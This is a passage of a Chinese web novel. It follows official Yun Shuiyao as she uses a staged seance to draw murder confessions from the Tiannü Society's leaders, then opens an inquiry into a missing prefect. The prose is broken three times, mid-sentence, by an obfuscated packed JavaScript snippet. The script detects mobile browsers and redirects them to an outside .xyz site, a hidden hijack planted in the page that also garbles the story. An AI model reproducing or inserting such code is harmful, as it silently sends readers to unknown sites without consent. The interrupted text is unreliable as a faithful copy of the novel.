陈运通仔细看了这五幅画像,眼睛发亮。这是一个普通男人见到美人的正常反应。 过了一会,陈运通指着平淮山的画像,道:“就是她,她就是我那天看到的漂亮姑娘。” “你确定?” “确定。” “已经过了好几个月了,你的记忆没有模糊?” “本来确实是模糊了,只记得是个漂亮的姑娘。但是刚才看见画像,又想起来了,是她。大人,她是谁?” “她是天女会的首领之一。” “哦,不认识。大人,我可以领赏钱了吗?” 云水谣点头道:“可以。来人,把赏钱给他。” 陈运通得到赏钱,喜出望外。 云水谣问道:“你还知道其他的吗?” 陈运通道:“小人知道的就这么多了。” 云水谣本想叫平淮山出来,跟陈运通当面对质。但又想着,平淮山很会伪装,如果她否认了这件事,自己又该如何应对? 毕竟,这个百姓陈运通所说的,也只是一面之词。而且,事情过去几个月了,他存在认错人的可能。 就算那天陈运通见到的人真是平淮山,平淮山也可以说她卖的是自己的东西,那个鼻烟壶也是自己的。毕竟,谁也不能证明她没有那个鼻烟壶。 虽然事情的真相很有可能是,天女会的几位首领杀死了那七个泼皮无赖,还拿走了他们家的一部分财产变卖,但没有切实的证据。 云水谣便让陈运通先离开了。 云水谣来到后堂,屏退众人,单独叫来吕长史,问道:“吕长史,死的那七名年轻人,家里的财产明细清楚吗?” 吕长史道:“这不太清楚。” “那若是他们的财产少了一部分,也很难发现了?” “应该是吧。不过若是有人想偷偷拿走死者的钱,应该会拿走全部吧,一般不会只拿一部分。” “不,拿走全部的话太显眼了,容易被人发现。那七名死者家里虽然没人了,但总有人会路过他们家门口,若发现他们家空荡荡的,也会起疑心的。所以,拿走一部分反而安全。” “大人是怀疑,那七名死者的家产被人拿走了一部分?” “现在还很难说,我没有证据。吕长史,之前衙役们去搜查那七名死者家里的时候,家里的财物状况如何?” 吕长史道:“下官也不清楚,还是要去问问那些衙役。” 于是,云水谣叫了几个去七名死者家中搜查过的衙役,问了这个问题。 那些衙役答道:“七名死者家里都有一些钱和珠宝之类的,具体数目没有统计过。” 云水谣问道:“有没有被人偷盗的痕迹?” “好像没有。” “本官知道了,你们先下去吧。” 众衙役和吕长史都离开了。 看来,就算天女会首领曾经拿走那七名死者的财物,也做得了无痕迹。 164.道士 过了一会,去平淮山家里搜查的衙役回来了,交上来十个一模一样的小熊玩偶,道:“大人,我们仔细搜查了平淮山的每个住所,一共找到了十只玩偶小熊,全都拿回来了。” 这些小熊玩偶,跟在董刺史房中发现的一样。 看来,平淮山手里有很多这样的玩偶,如果丢了一个,她随时能再补上。 由于这小熊玩偶不具有唯一性,很难借此断定什么。 云水谣想了想,最好还是吓一吓平淮山,让她主动吐露实情。因为云水谣现在知道一些平淮山的隐事,可以假托鬼神启示,让她害怕。 于是,云水谣先走到后堂,叫来暗卫甲风,道:“你假扮成道士,陪我演一出戏。” 说着,云水谣在甲风耳边说了几句话。 甲风点头道:“大人放心,我会办妥的。” 云水谣回到公堂上,让人把平淮山从牢里提出来。 平淮山见云水谣只提审自己,有些奇怪。不过也只能按捺下好奇之心,听云水谣要说什么。 云水谣道:“平淮山,你可有什么事瞒着本官?本官再给你最后一次招认的机会。” 平淮山道:“大人,该说的我都已经说了。” 云水谣道:“好,既然你不肯老实交代,本官认识一个道士,他会扶.乩问事。本官就请他到公堂上来,让他询问亡者灵魂。来人,传风道长进来。” 听见云水谣要扶乩问事,平淮山非常惊讶,她怎么也想不到,云水谣竟会病急乱投医。 不过,平淮山根本不相信什么扶.乩之术,因此只等着看笑话。 甲风扮演的道士走了进来。他拿着一个沙盘,放在桌案上。 云水谣问道:“道长,可以开始了吗?” 甲风道:“可以,请大人问事。” 云水谣问道:“请问乱葬岗埋葬的那七名死者,他们究竟是怎么死的?” 甲风装模作样地念了几句咒语,然后拿起乩笔,在沙盘上写了几个字。 云水谣道:“是被天女会的首领杀死?” 平淮山有些着急,道:“大人,这种事岂能相信,是这个道士乱写。” 甲风故作不悦道:“贫道已请得亡者灵魂在此,鬼魂所说之事岂会有假?” 接着,甲风故意做出一副倾听的样子,连连点头,对云水谣道:“大人,亡魂还有话说。” 甲风又在沙盘上写了几个字。 云水谣惊讶道:“天女会首领杀死这七人之后,还拿走了死者家里的一部分财产,卖给了过路的商人?” 平淮山听得有些惊讶,同时还有一丝害怕。她震惊地看着甲风,不知道这个道士为什么会说出这些话来。 甲风接着写字,云水谣接着说道:“这其中还有一个琉璃山水鼻烟壶,是其中一名亡者最喜欢的东西。” 听了此话,平淮山微微发抖。她攥紧了拳头,试图掩盖。 但她的不安,云水谣已经看出来了。云水谣心中有些高兴,觉得自己的猜测应该是真的。 云水谣接着对甲风道:“道长,不知上一任刺史董商衡是否还在世?若他死了,请帮忙召唤他的鬼魂。” 甲风道:“好的。” 平淮山瞪大了眼睛,惊疑不定地瞧着甲风,心跳得很快。 只见甲风念了几句咒语,说道:“董刺史已死,现在召唤了他的鬼魂在此,云大人有什么想问的,只管问。” 云水谣便问道:“董刺史是怎么死的?” 甲风在沙盘上写了几个字,云水谣道:“原来是被天女会的首领杀死,就死在平淮山的宅子里,吐血而亡。” 平淮山吓得瘫倒在地。 甲风接着说道:“董刺史说了,他想要凶手的命,还要让她们受尽苦楚而死,不能死得太便宜了。” 云水谣道:“请道长帮忙劝住董刺史的鬼魂,人鬼殊途,他不能直接杀人。阳间自有律法,本官会惩治罪犯。” 甲风道:“是,贫道试着跟董刺史的鬼魂沟通一下。” 接着,甲风放低了声音,念念有词。 过了一会,甲风皱眉道:“董刺史说,看这些天女会的首领愿不愿意招供,如果还要欺瞒,他就要亲自动手了。如果肯招供,他愿意离开。” 平淮山赶紧说道:“我愿意招供,我全都说……” 云水谣道:“好,你说吧,先从董刺史的死开始说。你们为何要杀了他,又是用什么手段杀的,从实招来。” 平淮山道:“是……其实,乱葬岗挖出来的那七具尸体,就是我们杀的……我们几个来到幽州后,因长得貌美,又没什么亲人,时不时地会受到一些泼皮无赖的骚.扰。虽然我们有武功,但出手伤人又不行,会被官府问罪。因此,我们不胜其烦。 自从我们攀上陆文远刺史后,有了他的庇护,就没人敢骚.扰我们了,我们过了几年的清静日子。陆刺史失踪后,我们又攀上了林益恭林刺史,他继续庇护我们。 结果林刺史也失踪了,赵仁顺刺史继任。我们想如法炮制,谁知这赵刺史根本就对女.色不感兴趣,也没心思管天女会敛财这种小事。他一心扑在打仗上,我们根本就没有机会见到他。 没有人帮我们驱赶那些泼皮无赖,他们又开始缠着我们。我们一合计,与其不停地被骚.扰,不如杀掉几个无赖,这样还清静些。只要选择那种没什么亲朋好友的无赖,并妥善处理好尸体就可以了。 于是,我们先寻找稳妥的埋尸之处。我找到了城外的乱葬岗,发现东北角的一块土地常年无人祭拜,那里的尸体应该是没有后人、没有亲朋好友的。如果我们把杀掉的无赖埋在那里,应该不会有人发现。 于是,我们试着杀掉了第一个无赖。江蓼烟一掌震碎了他的心脉,然后我们把他的尸体装在马车里,我们几个也一起坐进马车,假装出去玩。马车出城后,我们一路来到乱葬岗,把无赖的尸体埋在东北角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037849|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我们等了几天,一直没人发现,也没人寻找那个无赖。因此,我们就放下心来。江蓼烟说,反正无赖已经死了,又没有亲人,他的财产留着也是浪费,不如我们去取一部分来,但不能取走太多,以免被人发现。 于是,我们潜入那个无赖家里,拿了一些银两和宝物。江蓼烟说,银两我们可以藏起来,但那些宝物要尽快出手,不能留在身边。因为那个无赖可能使用过那些宝物,也被人看见过。如果被人看见这些宝物到了我们几个手里,就解释不清楚了。 于是,我们就把宝物卖给了过路的行商,换了一些银子。 接下来,我们又用同样的方法,陆陆续续杀了六名无赖,一共杀了七个人,全埋在乱葬岗那边,并取走他们七人的一部分财产。但是,第七次埋尸之后,我们正准备从乱葬岗返回,却撞见了董商衡刺史。 他好像是出城办事,抄近路从乱葬岗穿行。他认识我们,因为他女儿加入了天女会,而他一向很反对女儿加入。因此,他对我们并无好感。 他问我们为何会出现在乱葬岗,我解释说,我们听说乱葬岗有很多亡者无人祭拜,我们是来念超.度心咒给亡者的,希望他们能早日得到解脱。 董刺史将信将疑,但还是放我们走了。回到马车上后,我发现我随身佩戴的玩偶小熊不见了,应该是掉在埋尸之地了,想下去捡。江蓼烟对我说,现在董刺史还没走,如果我下去捡小熊,他一定会问我为何将配饰落在那里,很有可能会发现那里的泥土被翻动过,里面埋了尸体。 现在还是先走,等第二天再来捡那只玩偶小熊也不迟。 于是,我们坐上马车离开了,我心里一直盼望着董刺史没有发现那只玩偶小熊。 第二天,我一个人回了乱葬岗的埋尸之处,却没发现那只玩偶小熊,同时那里还有几个比较大的脚印,是官靴踩出来的。这种官靴只有五品以上的官员才能穿,因此我判断,董刺史来过这里,并把我的玩偶小熊捡走了。 那里的泥土没被挖开,也许是董刺史没有发现底下新埋了几具尸体。但他觉得一个玩偶小熊出现在那里很可疑,所以就捡走了。 他应该还没想到这玩偶小熊是我落下的,但我觉得他迟早会猜到。那么,他就会怀疑我们去乱葬岗的动机。 因此,我跟江蓼烟她们商议。江蓼烟说,如果董刺史感到可疑,再次回到乱葬岗的埋尸之地,可能就会想到那片土地有问题。万一挖出了尸体,很容易查到我们头上。干脆想办法杀了董刺史。 我吓了一跳,说怎么能对一州刺史下手?先不说有没有机会,便是真杀死了,我们如何能隐藏痕迹? 江蓼烟说,只要有周全的计划,就没有问题。之前我们连杀七名无赖,不也没人发现吗?这段时间刚好流行一个传说,说是很久之前有个被贬的幽州刺史死了,临死之前发出诅咒,说继任幽州刺史者必定没有好下场。 我们正好利用这个传说。” 165.动怒 平淮山接着说道:“这段时间接连失踪了三位刺史,如果我们杀了董刺史,并且藏起他的尸体,伪装成失踪案,别人就会把董刺史的失踪跟前三任刺史的失踪联想在一起,都认为是那位死去的幽州刺史的鬼魂作祟。 我听了这番话,觉得可行,但没有必要杀人。刺史可跟普通的泼皮无赖不一样,一旦我们对刺史下手,恐怕后患无穷。 江蓼烟说,董刺史非常反对女儿加入天女会,所以他一直在找机会打压天女会,甚至想把我们赶出幽州。我们在幽州苦心经营多年的事业,不能毁于一旦。 所以,除掉董刺史是最好的。等朝廷派下一任刺史过来,新刺史如果也跟陆文远、林益恭那样,是个好.色无.耻之徒,我们便可沿用以前的方法,勾.引新刺史,继续换取在幽州生存下去的机会。不破不立,我们的未来由我们自己创造。” 云水谣是第一次听到“不破不立”这个词被用于这种场合。天女会想除掉旧刺史,迎来新刺史,只不过是为了一己私欲。她们不仅胆大,无视律法,而且很会美化自己的行为,讲得还挺励志的。 换了云水谣,是绝对想不到“不破不立”这么绝妙的词的。 天女会能用语言控制这么多信众,这几位首领的嘴皮子是有点东西的。 云水谣也不知道该笑还是该生气,只能无奈地微微叹气。 云水谣问道:“你们是怎么杀了董刺史的?” 平淮山道:“我们打听到董刺史有心疾,且性情孤介,容易动怒,因此便制定了一个计划。那段时间,董盛年出门时,董刺史都会偷偷跟随,劝女儿不要跟我们为伍。如果我第二天约董盛年来我家,董刺史应该也会跟随。 到时候,我就找借口把董盛年从后门带出去。江蓼烟会易容,到时候就由她易容成董盛年的样子,躲在我家的另一个房间。另外三名天女秦灵儿、成渺渺、曲晨思都会变声,到时候她们会扮成男人。 她们四个会在屋子里演一出白日宣.淫的戏。等董刺史赶来我家时,会在窗外看见他的女儿跟三个男人厮混在一起。 董刺史容易急躁,肯定会在看到的第一眼就气急攻心,来不及进屋查看情况。到时候,他很可能会心疾发作而死。 事实证明,一切都如我们所料。 第二天,我给董盛年送信,说要给她看个好东西,让她来我家。 她来了之后,我说我记错了,那件东西在我另一个家。于是,我就带着她从后门离开。 这时候,其他几个人已经装扮好了,江蓼烟易容的董盛年非常逼真,乍一看根本看不出破绽来。 董刺史进来时,就听见她女儿的嬉笑声。他循声而来,发现屋子里上演着一出好戏,他女儿赤身裸体,被三个 ‘男人’拉扯调笑。为了增加董刺史的怒气,秦灵儿她们易容成的三个男人都奇丑无比。 董刺史看见这一幕,当场就气得吐血身亡。 然后,江蓼烟她们卸去伪装,把董刺史的尸体藏在了我家的冰窖中,并清理了所有痕迹。然后,她们也穿上厚衣服,躲在冰窖中,两天没出来。 这样,就没人会看见她们几个从我家出去,我可以说那天她们没来过我家。两天之后,她们从冰窖中出来,趁着没人的时候回了自己家。那时候,董刺史失踪的传闻已经闹得满城风雨,很多人都认为是死去刺史的鬼魂作祟。” 云水谣听得既害怕,又生气。没想到,在这些首领美丽的外表下,竟是这样一副蛇蝎心肠。 但她必须保持冷静。她深呼吸了几口气,问道:“你家的冰窖在哪里?” “在我家的庭院里有一块草地,把草皮全部掀开,可以看见冰窖的入口。” 云水谣派人去找董刺史的尸体。 她接着问道:“除了这些,你们还做过别的事吗?” 平淮山道:“没有了,该招供的都已经招供了。” “前三任刺史的失踪跟你们没关系?” “第四任董刺史确实是我们杀的,但前几任刺史究竟怎么回事,我也不知道。这位道长神通广大,能召唤鬼魂,我不敢说谎。大人,我现在已经全部招供,可否让道长送走董刺史的鬼魂?” 做戏要做全套,云水谣对甲风说道:“道长,请你送走董刺史的鬼魂吧。” 甲风道:“是。” 甲风又装模作样地念了几段咒语,接着说道:“董刺史的鬼魂已经走了,他说他在那边等着你们。” 平淮山吓得面如土色,一张俏脸失去了五六分颜色。她真的怕到了地下,会被董刺史的鬼魂报复。 云水谣不准备告诉她真相。她做了这么多坏事,剩下的日子活在恐惧中是应该的。 云水谣又把天女会的其他几名首领带到公堂上,把平淮山的供词给她们看。 见平淮山已经招供,其他人也都纷纷认罪。 江蓼烟凄然道:“没想到我们纵横多年,会栽在你一个女官手里。” 云水谣道:“如果不是本官发现了真相,你们还准备继续用不正当的手段敛财?” “成王败寇,只要我们有钱,而且杀人之事没被人发现,我们就是正确的。” “公道自在人心,跟钱财和权势无关。你们长得这么漂亮,又会武功,干点什么不好,为什么要做这些?” “我们的父母都是镖师,他们冒着生命危险,一趟趟地走镖,也只能挣一点点钱,后来还在一次任务中被人杀死。这公平吗?我们不想重复他们的命运,只想多挣点钱。这个世界上,比我们无耻、狠毒的大有人在,我们至少还鼓励信众做善事,比其他人好多了。” “任何有罪之人最终都会被绳之以法,只是时间早晚的区别罢了。” “我不信。” “你信不信不重要,你们很快会被判处死刑。” 云水谣让衙役们把这五名首领押入死牢。 过了一会,去平淮山家里找尸体的衙役们回来了。他们拉回来一具散发着寒气的男尸,对云水谣道:“大人,这就是前任刺史董大人,由于他一直被藏在冰窖中,看上去跟刚死的差不多。” 云水谣看了一眼,见董刺史的眼睛还睁着,面部还有残余的愤怒,衣襟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044219|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的血迹已经发黑,心里十分难受。 董刺史临终前的那一刻,以为自己的女儿已经被带坏了,跟好几个男人混在一起,不知廉耻,才被活活气死。 他不知道,他女儿为了寻找他,一直守在他的房间不愿离开。 可惜,他对他女儿的误会,永远没法消除了。 也不知道江蓼烟她们几个,在冰窖里面对着董刺史死不瞑目的尸身,是如何忍住不崩溃的。也许,在她们心里,人命并没有那么重要。说不定她们还沾沾自喜,碍事的董刺史总算死了,这下再也没人跟天女会作对了。 她们害死了董刺史后,还能若无其事地举办聚会,跟董盛年说说笑笑。想到这样的场景,云水谣就浑身战栗。 她赶紧派人把董盛年叫来。 董盛年刚才已经听说自己的父亲去世了,但心里还残留着一丝希望,想着是假消息。 但现在亲眼见到自己父亲的尸身,她再也忍不住了,放声大哭。 她颤抖着替父亲合上双眼,哀哭良久。 “爹,你为什么抛下我就走了……” 可是,董刺史再也无法回答她了。 如今天气寒冷,董刺史的尸身非常冰凉,把董盛年冻得直哆嗦。可是,她却不愿意离开父亲的尸身。 公堂之上的衙役、官吏们,心里都十分不好受,不忍再看。 董盛年问云水谣:“我爹是怎么死的?” 云水谣简单说了一下,董盛年的双眼立刻发红,闪着仇恨的怒火:“她们该死!我要杀了她们!” 说着,她就要往大牢方向冲。 云水谣赶紧让人拉住她,劝道:“董姑娘,天女会的首领一定会被判处死刑,你可以放心。你不能自己报仇,要等待律法的裁决。” “为什么?子报父仇,天经地义。” “董姑娘,你太激动了,我让人带你去休息。” “不,我不……” 云水谣让几个女兵过来,强行把她拉走了。 云水谣又吩咐柳依依:“你叫丫环们给董姑娘煮点安神汤,放点助睡眠的药材,让她先睡一觉。” 柳依依道:“是。” 云水谣命人把天女会首领们的供词抄录了许多份,张贴在大街小巷。 百姓们这才知道这些圣女、天女的真面目。 之前很相信她们的姑娘们,如今纷纷感慨自己眼瞎,怎么之前就被耍得团团转。 还有些姑娘很愤怒,想冲进大牢殴打天女会的首领,被衙役们拦下。 盘踞幽州七八年的天女会,就此烟消云散。 云水谣上了封奏折,把董刺史一案的始末讲清楚。 接下来,还要寻找三位失踪的刺史。 云水谣这些天太忙了,生了病,只能养两天。 这天,她喝了药正在休息,董盛年走了进来,道:“云大人,多谢你找到了我爹的尸身,查明了他的死因,我要扶柩回乡了。” 短短几天,董盛年显得成熟了一些,人也消瘦了。她没了一直庇护她的父亲,以后只能靠自己了。 166.告别 云水谣也很同情她,道:“需要什么帮助吗?” 董盛年摇摇头:“不用。” 接着,她拿来那只棕色的玩偶小熊,道:“以前,我爹给我准备了礼物时,就会藏起来,让我自己去找。因为我很喜欢找礼物的过程。我从小就喜欢小熊玩偶,他也给我买过很多个。 那天他在乱葬岗捡到这个小熊玩偶,应该是想拿回来送给我的。他也像以前那样,把这玩偶藏得很隐秘。 可是,那段时间我正在跟他闹矛盾,他可能也没心情提起礼物的事。所以,我一直不知道他把这个小熊玩偶藏在了床底下。 我为了天女会跟他吵架,没想到他就是被天女会害死的。我现在很后悔,可是后悔已经没用了。” 云水谣恍然道:“怪不得董刺史要把这小熊玩偶藏得这么好,原来是希望你去寻找这个礼物。但天女会的首领却认为,你爹对这小熊玩偶起了疑心,迟早要重回乱葬岗,发现那里的七具尸体,所以才设局杀了他。” “没错。” 云水谣叹了一口气。这真是阴差阳错。 如今董刺史已死,天女会首领也即将被处死了,一切都将尘归尘,土归土。 董盛年走了出去,瘦削的身影显得很落寞。 —— 大约三天后,云水谣的病终于好了。 她决定先查第三任赵刺史的失踪案。 赵刺史是在两国边境的城墙上失踪的,云水谣决定去城墙上看看。 她让吕长史陪自己一起去。 吕长史道:“大人,要去那里的话,得多带一些侍卫。” “为何?” 吕长史道:“赵刺史是在梅花县的城墙上失踪的,而梅花县被打下来没多久,之前一直是瀚海国的领土。虽然一开始梅花县是属于大夏的,但那已经是八十多年前的事了。如今的梅花县百姓,都认为自己是瀚海国的子民,所以对大夏有些仇视。 他们都希望瀚海国能把梅花县抢回去,对于大夏的官吏,他们都怀有敌意。之前我跟随赵刺史去过几次,每次都遇到百姓闹事,还有一次遇到刺杀,还好最后有惊无险。” 梅花县的百姓会这么想,云水谣也能理解。毕竟很多百姓从一出生,就是瀚海国人。现在要他们归顺大夏,不是那么容易。 云水谣道:“赵刺史的失踪,会不会跟梅花县的百姓有关?” 吕长史道:“这很难说。因为赵刺史失踪时,身边是没有人的。” “城墙上不是应该有士兵把守吗?” “当时城内刚好发生一些动乱,城墙上的士兵都下去维持治安了。” “原来如此。” 云水谣带上了二十名暗卫、三十名女兵,这样应该就安全了。 她们骑马进入梅花县内,一路上,路边的百姓都时不时地看她们几眼,眼神不善。 云水谣只好不去看她们,正视着前方。 忽然,一个抱着球的小女孩跑了过来,快要被云水谣的马给踩中了,吓得瘫倒在地。 云水谣虽然只是慢慢地骑马,但还是担心这小女孩,便勒紧缰绳,让马停下。接着,她翻身下马,想去扶那个小女孩。 旁边的吕长史忽然叫道:“别接近那孩子!” 然而,已经来不及了,云水谣的手已经搭在了那小女孩的胳膊上。 那小女孩忽然掏出一把匕首,直刺云水谣心口。 还好旁边的暗卫眼疾手快,踢中了小女孩的手。匕首落地,没伤着云水谣。 云水谣有些恼怒,抓紧了小女孩的胳膊,怒道:“你为何刺杀我?” 小女孩哇哇大哭:“大夏官员杀人了!连小孩都杀!来人啊,快来看啊!” 云水谣被这小女孩的胡搅蛮缠惹怒了,将她轻轻一推,推到了旁边。云水谣算好了力道,这小女孩只会踉跄,不至于摔倒。 谁知,小女孩顺势倒在地上,满地打滚,叫道:“大夏狗官伤人了!没人性啊,欺负小孩子!” 云水谣捡起地上的匕首,对那小女孩怒道:“你给我闭嘴!” 然而,已经有许多百姓围了上来,对云水谣指指点点,似乎不打算让她们轻易离开。 这小女孩一定是被人指使的,这么点大的孩子,无论做什么都可以。但云水谣若是反击,就是以大欺小。 云水谣打算直接骑马冲出人群,可这些百姓站在前面,丝毫不退让,似乎根本不怕被马踩踏。 云水谣也不能真的踩伤或踩死百姓,梅花县本就难治理,若是再发生冲突,就更不好了。 吕长史掏出一些铜板和碎银子来,往人群中一扔。谁知,根本没人捡钱。他们都站得笔直,直视着云水谣和吕长史等人,就像一只只蓄势待发的狼。 云水谣有些发怵,吕长史处理矛盾的经验丰富些,拱手对百姓说道:“各位乡亲,我们只是来这里办公务,无意伤害你们。还请大家让让,刚才扔下来的钱给大家买酒喝。” 有几个年轻力壮的百姓道:“谁要你们的钱!” 吕长史耐着性子问道:“那你们想要什么?” “你们这些大夏人,都给我滚出梅花县!我们不要大夏人当我们的长官,也不想见到大夏的士兵驻扎在这里!” “诸位,你们的祖辈都是大夏人,只不过几十年前梅花县被瀚海国所侵占,你们出生时就是瀚海国人,才会把瀚海国当成祖国。” “我们不想听这些!我们是瀚海国人,不是大夏人,死也不接受大夏的统治!” 吕长史颇感头疼。虽然他和云水谣都带来很多侍卫,但无意引起动乱。 这些百姓虽然来势汹汹,但应该都不会武功。而且这般聚集在一起,一旦产生骚.动,很容易有所死伤。 打下梅花县的目的是统治,而不是杀戮。 云水谣也有此顾虑,所以也没有下令驱赶这些百姓。 这时,人群中忽然有个女声道:“人只能挡住人,但挡不住飞鸟。” 云水谣循声望去,见说话的是一个长得很高、英姿飒爽、五官干净利落的年轻姑娘。她穿着黑白相间的劲装,抱着一把黑色的伞,显得鹤立鸡群。 她虽然也站在人群中,可不知为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047837|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何,其他人没法紧挨着她,导致她周身有小小的空地,所以她并未被挤到。 云水谣不知她说这句话是什么意思,几名经验丰富的暗卫已经会意,直接施展轻功,把云水谣、吕长史等官吏从马上提溜了起来,越过众百姓的头顶,很快地往远处飞去。 没过多久,云水谣她们已经把那些找麻烦的百姓远远地甩开了。 而那些百姓都不会武功,肯定没法靠跑步追上她们,也只得作罢。 云水谣这才意识到,刚才那姑娘说的是什么意思——只要云水谣等人能像鸟一样飞起来,那些百姓就拦不住她们。 这个方法确实很好,只是云水谣不知道那位姑娘为何会出言相助。 云水谣问吕长史:“你认识刚才说话的那位姑娘吗?” “不认识。” “这就奇了。她既然出现在这里,应该也是梅花县的人,怎么会帮我们呢?” 吕长史道:“我看她的穿着打扮,像个游侠,未必是梅花县人,应该是大夏人。” “原来如此。” 很快,她们就来到了梅花县的城墙。 自从梅花县被赵刺史打下来后,驻守在这里的就都是大夏的士兵了。 他们见到云水谣等人,都十分恭敬。 云水谣问道:“你们驻扎在此地顺利吗?” 有个士兵答道:“不顺利。梅花县的人不服大夏的统治,经常闹事,有时候还攻击我们。我们俘虏的士兵,要么闹绝食,要么吵着要加入大夏的军营中,实际上却是想加入之后跟我们对打,或是窃取机密。我们吃了好几次亏了。 现在那些被俘的士兵,只能集中关押,也不知道怎么处理。” 旁边有个脾气不好的士兵说道:“这都要怪赵刺史太冒进了,非要在短时间内把梅花县打下来。结果现在是打下来了,他自己却失踪了,梅花县的人根本就不服我们,留下一个烂摊子。” 前一个士兵说道:“别诽谤赵刺史。” 后一个士兵道:“我可没诽谤,梅花县防守严密,还有许多守城的工具,守城的将领也是个很有经验的老将。赵刺史的幕僚和副将们都不建议他这会攻打,他非要开战。开战之后,幕僚本来制定了伤亡较小的作战策略,只是时间长一些。 但赵刺史却等不及,非要在短时间内攻下梅花县,拿一队又一队士兵的命去填。我这个小队四十人,死得只剩我一个,现在还要来守城。守城就算了,还经常被梅花县的百姓围攻,我的肋骨到现在还疼呢。” “长官们做事自有道理,岂是我们能知道的。当着众位大人的面,你别口无遮拦。” 后一个士兵才不说话了。 云水谣倒不介意这些士兵说什么,他们把心里话说出来,云水谣才能了解更多情况。 看来,对于赵刺史,大家的风评都不太好。不仅梅花县的百姓不服他,连他手下的士兵也对他有怨言。 不过,这不是目前最重要的事,当务之急是要找到赵刺史。 云水谣问道:“赵刺史是在五月十号那天失踪,那天发生了什么?” 167.铁爪 这两个士兵道:“那天赵刺史好像来到了城墙上,但那天值班的不是我们。我们去把那天值班的士兵找来。” “好。” 过了一会,有十几名士兵过来了,对云水谣行礼道:“刺史大人。” 云水谣问道:“五月十号那天,也就是赵刺史失踪当日,你们在城墙上见过他吗?” 其中一个士兵答道:“见过,当时是中午时分,赵刺史上了城墙之后,跟我们说,城里有一些百姓在寻衅滋事,让我们过去维持一下治安。我们本想派几个人过去,剩下的继续守着,但赵刺史让我们全都去。 等我们维持治安回来,赵刺史就不见了,只有他平时使用的一对铁爪掉在这里。” “铁爪?是什么样的?” “是一件铁做的兵器,外形像猛兽的爪子,大约有成年人的两个手掌那么大。” 吕长史补充道:“那对铁爪现在藏在衙门那里,没带过来。等大人回去之后,可以看看。” 云水谣点头,继续问那些士兵:“赵刺史过来时,可有说什么话,或提起过什么人?” 士兵道:“除了让我们去城里维持治安,没说什么。不过,当时他好像有些紧张。” “紧张?” “没错。” “当时此处还有其他陌生人在场吗?” “应该没有。” 这些士兵什么也没看到,赵刺史究竟是如何失踪的,实在令人费解。 云水谣又来来回回地在城墙上走,发现墙壁上有一些兵器的痕迹。其中一部分痕迹,像是猛兽的爪子抓出来的。 云水谣指着爪痕问道:“这种抓痕赵刺史的铁爪造成的吗?” 吕长史道:“是的,当时我们也发现了这些痕迹,拿赵刺史的铁爪去比对了,确实对得上这些痕迹。” “这么说,当日赵刺史跟人发生了打斗?” “应该是的。” “赵刺史的功夫如何?” “他是行伍出身,从士兵做到将军,全靠自己打出来的。武功虽不算上乘,但实战经验丰富,耐力、定力、判断力都不是一般人能比的。” 云水谣道:“他失踪这么久了,都没发现他的尸体,我猜他应该是被人掳走了。但谁能掳走他?那个人的战斗力必须在赵刺史之上,而且他必须等赵刺史落单了再动手。 赵刺史身为三品大员,平时身边肯定少不了侍从。对方就算功夫再高,也难以从侍卫的重重保护下掳走赵刺史。所以,他应该一直在跟踪赵刺史。” 吕长史道:“云大人言之有理。只是,赵刺史的警觉性也很高,有谁能一直跟踪他而不被发现?” 云水谣道:“我们都没习过武,不如问问有经验的人吧。” 接着,云水谣叫来几名暗卫,问道:“有没有办法一直跟踪一个人而不被发现?” 暗卫道:“只要武功、轻功较高,且知道如何隐蔽自己,不难做到。” “哪怕是跟踪刺史这种大官也行吗?” “那会难一些,长官的行踪一般人也不知道。就算成功跟踪,但自己总要吃饭、睡觉,等到回来时,说不定这个官员又到别处去了。除非跟踪者能一直不眠不休,或者是有几个人轮流跟踪。” 云水谣想了想,道:“如果对方铁了心要掳走赵刺史,可能会找几个帮手,轮番跟踪不是难事。只是,不知道想对付赵刺史的是什么人。” 吕长史道:“这段时间,我们也分析过,觉得有几种可能。第一种,是瀚海国想让赵刺史死,因为赵刺史一心收服失地,且已经成功收服了梅花县。如果不除去赵刺史,瀚海国的边境城池都岌岌可危。但是,这存在一个问题,就是瀚海国为何不直接杀了赵刺史,而是要掳走他? 如果赵刺史已经被杀死,这里肯定得有血迹才是,但是没有。” 云水谣道:“也许,瀚海国是想从赵刺史口中得知大夏的一些机密,所以没有杀他。” 吕长史道:“存在这种可能。第二种可能,就是士兵报复。赵刺史在一个月内攻下梅花县,付出了极大的代价,不仅他自己受伤,还填进去数千士兵的命。活下来的士兵,对赵刺史也是颇多怨言。” 这时,旁边的士兵赶紧解释道:“大人,我们没这个胆子啊!虽然我们私底下会对赵刺史有所不满,但也只是说说而已。我们既没胆子,也没能力对赵刺史下手。” 